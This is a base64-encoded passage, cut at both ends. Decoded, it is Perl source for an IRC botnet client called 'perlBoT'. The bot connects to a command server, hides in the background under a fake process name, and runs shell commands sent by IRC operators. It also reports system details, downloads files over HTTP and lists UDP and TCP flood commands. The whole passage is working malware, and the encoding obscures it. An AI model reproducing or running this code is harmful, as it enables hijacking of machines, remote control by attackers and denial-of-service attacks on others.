N3ZWV0bGFkeSIsInN3ZWtsb3BpIiwic3dlcGlsb3QiLCJzd2l0Y2giLCJzeW5jcGhvcyIsInN6ZXJuIiwidGFrdW11cmEiLCJ0YWxsYXhsYyIsInRhbXBvbmUiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidGFyYWJhcyIsInRhdGFubyIsInRhdG8iLCJ0ZW5uaXMiLCJ0ZW54IiwidGVyZW5jZSIsInRlcmt1a3VyIiwidGVybyIsInRoZWZveCIsInRoZXNpbnQiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidGltZXIiLCJ0aW1ld2FsayIsInRtaGQiLCJ0bnhmY2siLCJ0byIsInRvbWloa2kiLCJ0b21teSIsInRvcG8iLCJ0cml1bXBoIiwidHJ1c3RtZSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0dW5nYXUiLCJ0dXBhYyIsInR1cmJvenp6eiIsInR1cmluZyIsInR2cmRqYXZhIiwidHlzbiIsInVuaWNyb24iLCJ1b2ZmIiwidXB0aW1lciIsInV0b3BpYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ2YWRlciIsInZhaXNtaSIsInZhamplIiwidmFuZGEiLCJ2YXJqbyIsInZhc3MiLCJ2ZW50byIsInZlbnVzZ3V5IiwidmVydGllIiwidmlhZ2FyYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ2aWNpb3VzIiwidmlkeHh4IiwidmlyZXgiLCJ2b2RhZm9uZSIsInZvbmUiLCJ2cmduaWUiLCJ2dXViZWliZSIsIndhbmRlcmVyIiwid2FycnIiLCJ3YXNhYmJveSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3ZWViZWUiLCJ3ZWxsdSIsIndlbmR5Iiwid2hpc2tleSIsIndpbGxnb29kIiwid2luZyIsIndpbm55Iiwid2tuaWdodCIsIndsbHkiLCJ3b2xmbWFuIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIndvdyIsIndwIiwieGFyYXNvdSIsInh0cmVtZSIsInh4eCIsInh6b25lIiwieWFrenIiLCJ5YW5nIiwieWFzaHkiLCJ5YXNpbiIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ5ZW55ZW4iLCJ5a2J1ZyIsInlvZ2llYmVhciIsInphaSIsInpmc3RyIiwiemluaiIsInppenUiLCJ6dmV6ZGEiLCJ6d2ltb3UiLCJ6d2lzb3UiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiendzaWV3IiwiendzaWV3YWxlIik7DQpteSAkaXJjbmFtZSA9ICRyaXJjbmFtZVtyYW5kIHNjYWxhciBAcmlyY25hbWVdOw0KIyMgbXkgQHJyZWFsbmFtZSA9ICgiNCwxWyB1bmtub3duIF0iLA0KIyMgICAgICAgICAgICAgICAgICAiNCwxIC8hXCB1bmtub3duIC8hXCAiLA0KIyMgICAgICAgICAgICAgICAgICAiMiwxLS0tPT09IDQsMSB1bmtub3duIDIsMT09PS0tLSIpOw0KIyMgY2hvcCAobXkgJHJlYWxuYW1lID0gJHJyZWFsbmFtZVtyYW5kIHNjYWxhciBAcnJlYWxuYW1lXSk7DQoNCmNob3AgKG15ICRyZWFsbmFtZSA9IGB1bmFtZSAtc3JgKTsNCg0KbXkgJG5pY2sgPSRyaXJjbmFtZVtyYW5kIHNjYWxhciBAcmlyY25hbWVdOw0KDQokc2VydmVyID0gJ3VzLmJvdC5udScgdW5sZXNzICRzZXJ2ZXI7DQpteSAkcG9ydCA9ICc1MTkwJzsNCg0KbXkgJGxpbmFzX21heD0nOCc7DQpteSAkc2xlZXA9JzUnOw0KDQpteSAkaG9tZWRpciA9ICIvdmFyL3RtcCI7DQpteSAkdmVyc2lvbiA9ICdwZXJsQm9UIHYwMDEnOw0KDQpteSBAYWRtaW5zID0gKCJYIiwicm9vdCIpOw0KbXkgQGhvc3RhdXRoID0gKCIxLjEuMS4xIik7DQpteSBAY2hhbm5lbHMgPSAoIiNiYXNoIik7DQoNCm15ICRwYWNvdGVzID0gMTsNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIFsgU3RvcCBFZGl0aW5nIGlmIHlvdSBkb250IGtub3cgd2hhdCBhcmUgeW91IGRvaW5nLiBdICMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQokU0lHeydJTlQnfSA9ICdJR05PUkUnOw0KJFNJR3snSFVQJ30gPSAnSUdOT1JFJzsNCiRTSUd7J1RFUk0nfSA9ICdJR05PUkUnOw0KJFNJR3snQ0hMRCd9ID0gJ0lHTk9SRSc7DQokU0lHeydQUyd9ID0gJ0lHTk9SRSc7DQoNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OlNvY2tldDsNCnVzZSBJTzo6U29ja2V0OjpJTkVUOw0KdXNlIElPOjpTZWxlY3Q7DQoNCmNoZGlyKCIkaG9tZWRpciIpOw0KDQokc2VydmVyPSIkQVJHVlswXSIgaWYgJEFSR1ZbMF07DQokMD0iJHByb2Nlc3MiLiJcMCJ4MTY7Ow0KbXkgJHBpZD1mb3JrOw0KZXhpdCBpZiAkcGlkOw0KZGllICJDYW4ndCBmb3JrIGluIGJhY2tncm91bmQ6ICQhIiB1bmxlc3MgZGVmaW5lZCgkcGlkKTsNCg0Kb3VyICVpcmNfc2VydmVyczsNCm91ciAlRENDOw0KbXkgJGRjY19zZWwgPSBuZXcgSU86OlNlbGVjdC0+bmV3KCk7DQokc2VsX2NsaWVudGUgPSBJTzo6U2VsZWN0LT5uZXcoKTsNCnN1YiBzZW5kcmF3IHsNCiAgaWYgKCQjXyA9PSAnMScpIHsNCiAgICBteSAkc29ja2V0ID0gJF9bMF07DQogICAgcHJpbnQgJHNvY2tldCAiJF9bMV1cbiI7DQogIH0gZWxzZSB7DQogICAgcHJpbnQgJElSQ19jdXJfc29ja2V0ICIkX1swXVxuIjsNCiAgfQ0KfQ0KDQpzdWIgZ2V0c3RvcmUgKCQkKQ0Kew0KICBteSAkdXJsID0gc2hpZnQ7DQogIG15ICRmaWxlID0gc2hpZnQ7DQogICRodHRwX3N0cmVhbV9vdXQgPSAxOw0KICBvcGVuKEdFVF9PVVRGSUxFLCAiPiAkZmlsZSIpOw0KICAlaHR0cF9sb29wX2NoZWNrID0gKCk7DQogIF9nZXQoJHVybCk7DQogIGNsb3NlIEdFVF9PVVRGSUxFOw0KICByZXR1cm4gJG1haW46Omh0dHBfZ2V0X3Jlc3VsdDsNCn0NCg0Kc3ViIF9nZXQNCnsNCiAgbXkgJHVybCA9IHNoaWZ0Ow0KICBteSAkcHJveHkgPSAiIjsNCiAgZ3JlcCB7KGxjKCRfKSBlcSAiaHR0cF9wcm94eSIpICYmICgkcHJveHkgPSAkRU5WeyRffSl9IGtleXMgJUVOVjsNCiAgaWYgKCgkcHJveHkgZXEgIiIpICYmICR1cmwgPX4gbSxeaHR0cDovLyhbXi86XSspKD86OihcZCspKT8oL1xTKik/JCwpIHsNCiAgICBteSAkaG9zdCA9ICQxOw0KICAgIG15ICRwb3J0ID0gJDIgfHwgODA7DQogICAgbXkgJHBhdGggPSAkMzsNCiAgICAkcGF0aCA9ICIvIiB1bmxlc3MgZGVmaW5lZCgkcGF0aCk7DQogICAgcmV0dXJuIF90cml2aWFsX2h0dHBfZ2V0KCRob3N0LCAkcG9ydCwgJHBhdGgpOw0KICB9IGVsc2lmICgkcHJveHkgPX4gbSxeaHR0cDovLyhbXi86XSspOihcZCspKC9cUyopPyQsKSB7DQogICAgbXkgJGhvc3QgPSAkMTsNCiAgICBteSAkcG9ydCA9ICQyOw0KICAgIG15ICRwYXRoID0gJHVybDsNCiAgICByZXR1cm4gX3RyaXZpYWxfaHR0cF9nZXQoJGhvc3QsICRwb3J0LCAkcGF0aCk7DQogIH0gZWxzZSB7DQogICAgcmV0dXJuIHVuZGVmOw0KICB9DQp9DQoNCg0Kc3ViIF90cml2aWFsX2h0dHBfZ2V0DQp7DQogIG15KCRob3N0LCAkcG9ydCwgJHBhdGgpID0gQF87DQogIG15KCRBR0VOVCwgJFZFUlNJT04sICRwKTsNCiAgJEFHRU5UID0gImdldC1taW5pbWFsIjsNCiAgJFZFUlNJT04gPSAiMjAwMDAxMTgiOw0KICAkcGF0aCA9fiBzLyAvJTIwL2c7DQoNCiAgcmVxdWlyZSBJTzo6U29ja2V0Ow0KICBsb2NhbCgkXlcpID0gMDsNCiAgbXkgJHNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJGhvc3QsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBlZXJQb3J0ID0+ICRwb3J0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQcm90byAgID0+ICd0Y3AnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0ICA9PiA2MCkgfHwgcmV0dXJuOw0KICAkc29jay0+YXV0b2ZsdXNoOw0KICBteSAkbmV0bG9jID0gJGhvc3Q7DQogICRuZXRsb2MgLj0gIjokcG9ydCIgaWYgJHBvcnQgIT0gODA7DQogIG15ICRyZXF1ZXN0ID0gIkdFVCAkcGF0aCBIVFRQLzEuMFwwMTVcMDEyIg0KICAgICAgICAgICAgICAuICJIb3N0OiAkbmV0bG9jXDAxNVwwMTIiDQogICAgICAgICAgICAgIC4gIlVzZXItQWdlbnQ6ICRBR0VOVC8kVkVSU0lPTi91XDAxNVwwMTIiOw0KICAkcmVxdWVzdCAuPSAiUHJhZ21hOiBuby1jYWNoZVwwMTVcMDEyIiBpZiAoJG1haW46Omh0dHBfbm9fY2FjaGUpOw0KICAkcmVxdWVzdCAuPSAiXDAxNVwwMTIiOw0KICBwcmludCAkc29jayAkcmVxdWVzdDsNCg0KICBteSAkYnVmID0gIiI7DQogIG15ICRuOw0KICBteSAkYjEgPSAiIjsNCiAgd2hpbGUgKCRuID0gc3lzcmVhZCgkc29jaywgJGJ1ZiwgOCoxMDI0LCBsZW5ndGgoJGJ1ZikpKSB7DQogICAgaWYgKCRiMSBlcSAiIikgew0KICAgICAgJGIxID0gJGJ1ZjsNCiAgICAgICRidWYgPX4gcy8uKz9cMDE1P1wwMTJcMDE1P1wwMTIvL3M7DQogICAgfQ0KICAgIGlmICgkaHR0cF9zdHJlYW1fb3V0KSB7IHByaW50IEdFVF9PVVRGSUxFICRidWY7ICRidWYgPSAiIjsgfQ0KICB9DQogIHJldHVybiB1bmRlZiB1bmxlc3MgZGVmaW5lZCgkbik7DQogICRtYWluOjpodHRwX2dldF9yZXN1bHQgPSAyMDA7DQogIGlmICgkYjEgPX4gbSxeSFRUUC9cZCtcLlxkK1xzKyhcZCspW15cMDEyXSpcMDEyLCkgew0KICAgICRtYWluOjpodHRwX2dldF9yZXN1bHQgPSAkMTsNCiAgICBpZiAoJG1haW46Omh0dHBfZ2V0X3Jlc3VsdCA9fiAvXjMwWzEyMzddLyAmJiAkYjEgPX4gL1wwMTJMb2NhdGlvbjpccyooXFMrKS8pIHsNCiAgICAgIG15ICR1cmwgPSAkMTsNCiAgICAgIHJldHVybiB1bmRlZiBpZiAkaHR0cF9sb29wX2NoZWNreyR1cmx9Kys7DQogICAgICByZXR1cm4gX2dldCgkdXJsKTsNCiAgICB9DQogICAgcmV0dXJuIHVuZGVmIHVubGVzcyAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID1+IC9eMi87DQogIH0NCg0KICByZXR1cm4gJGJ1ZjsNCn0NCg0Kc3ViIGNvbmVjdGFyIHsNCiAgbXkgJG1ldW5pY2sgPSAkX1swXTsNCiAgbXkgJHNlcnZlcl9jb24gPSAkX1sxXTsNCiAgbXkgJHBvcnRfY29uID0gJF9bMl07DQogIG15ICRJUkNfc29ja2V0ID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFByb3RvPT4idGNwIiwgUGVlckFkZHI9PiIkc2VydmVyX2NvbiIsDQogIFBlZXJQb3J0PT4kcG9ydF9jb24pIG9yIHJldHVybigxKTsNCiAgaWYgKGRlZmluZWQoJElSQ19zb2NrZXQpKSB7DQogICAgJElSQ19jdXJfc29ja2V0ID0gJElSQ19zb2NrZXQ7DQogICAgJElSQ19zb2NrZXQtPmF1dG9mbHVzaCgxKTsNCiAgICAkc2VsX2NsaWVudGUtPmFkZCgkSVJDX3NvY2tldCk7DQogICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J2hvc3QnfSA9ICIkc2VydmVyX2NvbiI7DQogICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J3BvcnQnfSA9ICIkcG9ydF9jb24iOw0KICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30gPSAkbWV1bmljazsNCiAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbWV1aXAnfSA9ICRJUkNfc29ja2V0LT5zb2NraG9zdDsNCiAgICBuaWNrKCIkbWV1bmljayIpOw0KICAgIHNlbmRyYXcoIlVTRVIgJGlyY25hbWUgIi4kSVJDX3NvY2tldC0+c29ja2hvc3QuIiAkc2VydmVyX2NvbiA6JHJlYWxuYW1lIik7DQogICAgc2xlZXAgMTsNCiAgfQ0KfQ0KDQpteSAkbGluZV90ZW1wOw0Kd2hpbGUoIDEgKSB7DQogIHdoaWxlICghKGtleXMoJWlyY19zZXJ2ZXJzKSkpIHsgY29uZWN0YXIoIiRuaWNrIiwgIiRzZXJ2ZXIiLCAiJHBvcnQiKTsgfQ0KICBkZWxldGUoJGlyY19zZXJ2ZXJzeycnfSkgaWYgKGRlZmluZWQoJGlyY19zZXJ2ZXJzeycnfSkpOw0KICBteSBAcmVhZHkgPSAkc2VsX2NsaWVudGUtPmNhbl9yZWFkKDApOw0KICBuZXh0IHVubGVzcyhAcmVhZHkpOw0KICBmb3JlYWNoICRmaCAoQHJlYWR5KSB7DQogICAgJElSQ19jdXJfc29ja2V0ID0gJGZoOw0KICAgICRtZXVuaWNrID0gJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfTsNCiAgICAkbnJlYWQgPSBzeXNyZWFkKCRmaCwgJG1zZywgNDA5Nik7DQogICAgaWYgKCRucmVhZCA9PSAwKSB7DQogICAgICAkc2VsX2NsaWVudGUtPnJlbW92ZSgkZmgpOw0KICAgICAgJGZoLT5jbG9zZTsNCiAgICAgIGRlbGV0ZSgkaXJjX3NlcnZlcnN7JGZofSk7DQogICAgfQ0KICAgIEBsaW5lcyA9IHNwbGl0ICgvXG4vLCAkbXNnKTsNCiAgICBmb3IobXkgJGM9MDsgJGM8PSAkI2xpbmVzOyAkYysrKSB7DQogICAgICAkbGluZSA9ICRsaW5lc1skY107DQogICAgICAkbGluZT0kbGluZV90ZW1wLiRsaW5lIGlmICgkbGluZV90ZW1wKTsNCiAgICAgICRsaW5lX3RlbXA9Jyc7DQogICAgICAkbGluZSA9fiBzL1xyJC8vOw0KICAgICAgdW5sZXNzICgkYyA9PSAkI2xpbmVzKSB7DQogICAgICAgIHBhcnNlKCIkbGluZSIpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICBpZiAoJCNsaW5lcyA9PSAwKSB7DQogICAgICAgICAgcGFyc2UoIiRsaW5lIik7DQogICAgICAgICAgfSBlbHNpZiAoJGxpbmVzWyRjXSA9fiAvXHIkLykgew0KICAgICAgICAgIHBhcnNlKCIkbGluZSIpOw0KICAgICAgICAgIH0gZWxzaWYgKCRsaW5lID1+IC9eKFxTKykgTk9USUNFIEFVVEggOlwqXCpcKi8pIHsNCiAgICAgICAgICBwYXJzZSgiJGxpbmUiKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICRsaW5lX3RlbXAgPSAkbGluZTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgfQ0KfQ0KDQpzdWIgcGFyc2Ugew0KICBteSAkc2VydmFyZyA9IHNoaWZ0Ow0KICBpZiAoJHNlcnZhcmcgPX4gL15QSU5HIFw6KC4qKS8pIHsNCiAgICBzZW5kcmF3KCJQT05HIDokMSIpOw0KICAgIH0gZWxzaWYgKCRzZXJ2YXJnID1+IC9eXDooLis/KVwhKC4rPylcQCguKz8pIFBSSVZNU0cgKC4rPykgXDooLispLykgew0KICAgIG15ICRwbj0kMTsgbXkgJGhvc3RtYXNrPSAkMzsgbXkgJG9uZGUgPSAkNDsgbXkgJGFyZ3MgPSAkNTsNCiAgICBpZiAoJGFyZ3MgPX4gL15cMDAxVkVSU0lPTlwwMDEkLykgew0KICAgICAgICAgbm90aWNlKCIkcG4iLCAiIi4kdmVycy4iIik7DQogICAgfQ0KICAgICAgICBpZiAoZ3JlcCB7JF8gPX4gL15cUSRob3N0bWFza1xFJC9pIH0gQGhvc3RhdXRoKSB7DQogICAgaWYgKGdyZXAgeyRfID1+IC9eXFEkcG5cRSQvaSB9IEBhZG1pbnMgKSB7DQogICAgaWYgKCRvbmRlIGVxICIkbWV1bmljayIpew0KICAgIHNoZWxsKCIkcG4iLCAiJGFyZ3MiKTsNCiAgfQ0KICBpZiAoJGFyZ3MgPX4gL14oXFEkbWV1bmlja1xFfFwheClccysoLiopLyApIHsNCiAgICBteSAkbmF0cml4ID0gJDE7DQogICAgbXkgJGFyZyA9ICQyOw0KICAgIGlmICgkYXJnID1+IC9eXCEoLiopLykgew0KICAgICAgaXJjYXNlKCIkcG4iLCIkb25kZSIsIiQxIik7DQogICAgICB9IGVsc2lmICgkYXJnID1+IC9eXEAoLiopLykgew0KICAgICAgJG9uZGVwID0gJG9uZGU7DQogICAgICAkb25kZXAgPSAkcG4gaWYgJG9uZGUgZXEgJG1ldW5pY2s7DQogICAgICBiZnVuYygiJG9uZGVwIiwiJDEiKTsNCiAgICAgIH0gZWxzZSB7DQogICAgICBzaGVsbCgiJG9uZGUiLCAiJGFyZyIpOw0KICAgIH0NCiAgfQ0KfQ0KfQ0KfQ0KDQplbHNpZiAoJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPylccytOSUNLXHMrXDooXFMrKS9pKSB7DQogIGlmIChsYygkMSkgZXEgbGMoJG1ldW5pY2spKSB7DQogICRtZXVuaWNrPSQ0Ow0KICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gJG1ldW5pY2s7DQogIH0NCiAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gbS9eXDooLis/KVxzKzQzMy9pKSB7DQogIG5pY2soIiRtZXVuaWNrLSIuaW50IHJhbmQoOTk5OSkpOw0KICB9IGVsc2lmICgkc2VydmFyZyA9fiBtL15cOiguKz8pXHMrMDAxXHMrKFxTKylccy9pKSB7DQogICRtZXVuaWNrID0gJDI7DQogICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30gPSAkbWV1bmljazsNCiAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25vbWUnfSA9ICIkMSI7DQogIGZvcmVhY2ggbXkgJGNhbmFsIChAY2hhbm5lbHMpIHsNCiAgICAgICAgc2VuZHJhdygiTU9ERSAkbmljayAreCIpOw0KICAgIHNlbmRyYXcoIkpPSU4gJGNhbmFsIik7DQp9DQp9DQp9DQoNCnN1YiBiZnVuYyB7DQpteSAkcHJpbnRsID0gJF9bMF07DQpteSAkZnVuY2FyZyA9ICRfWzFdOw0KICBpZiAobXkgJHBpZCA9IGZvcmspIHsNCiAgd2FpdHBpZCgkcGlkLCAwKTsNCiAgfSBlbHNlIHsNCiAgaWYgKGZvcmspIHsNCiAgZXhpdDsNCiAgfSBlbHNlIHsNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMgWyBIZWxwIE1vZHVsZSBdICMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KaWYgKCRmdW5jYXJnID1+IC9eaGVscC8pIHsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDFwcyBQZXJsQm90IE1haW4gSGVscDoiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFzeXN0ZW0gICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMXZlcnNpb24gICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxY2hhbm5lbCAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFmbG9vZCAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMXV0aWxzICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KfQ0KDQppZiAoJGZ1bmNhcmcgPX4gL15zeXN0ZW0vKSB7DQogICAgICAgICR1cHRpbWU9YHVwdGltZWA7DQogICAgICAgICRvd25kPWBwd2RgOw0KICAgICAgICAkaWQ9YGlkYDsNCiAgICAgICAgJHVuYW1lPWB1bmFtZSAtc3JwYDsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbU3lzdGVtXSA5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1N5c3RlbV0gOSwxICBwcyBCb3QgQ29uZmlndXJhdGlvbjogIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1N5c3RlbV0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpTZXJ2ZXIgICAgICA6IDEyJHNlcnZlciAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpQb3J0ICAgICAgICA6IDEyJHBvcnQgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpDaGFubmVscyAgICA6IDEyQGNoYW5uZWxzICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSp1bmFtZSAtYSAgICA6IDEyJHVuYW1lICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSp1cHRpbWUgICAgICA6IDEyJHVwdGltZSAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpGYWtlUHJvY2VzcyA6IDEyJHByb2Nlc3MgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpQcm9jZXNzUElEICA6IDEyJCQgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpJRCAgICAgICAgICA6IDEyJGlkICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpPd24gRGlyICAgICA6IDEyJG93bmQgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9edmVyc2lvbi8pew0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtWZXJzaW9uXSA5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1ZlcnNpb25dIDksMSAgICBwcyBCb3QgSW5mb3JtYXRpb25zOiAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtWZXJzaW9uXSA5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1ZlcnNpb25dIDksMSpCb3QgVmVyc2lvbiA6IDEyJHZlcnNpb24gICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtWZXJzaW9uXSA5LDEqQm90IENyZWF0b3IgOiAxMkNyQW1FciAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbVmVyc2lvbl0gOSwxKkJvdCBZZWFyICAgIDogMTIyMDEyICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1ZlcnNpb25dIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9eZmxvb2QvKSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEgICAgICAgICBwcyBQZXJsQm90IEZsb29kIEhlbHA6ICAgICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMXVkcDEgPGlwPiA8cG9ydD4gPHRpbWU+ICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxdWRwMiA8aXA+IDxwYWNrZXQgc2l6ZT4gPHRpbWU+ICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDF1ZHAzIDxpcD4gPHBvcnQ+IDx0aW1lPiAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMXRjcCA8aXA+IDxwb3J0PiA8cGFjayBzaXplPiA8dGltZT4iKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwx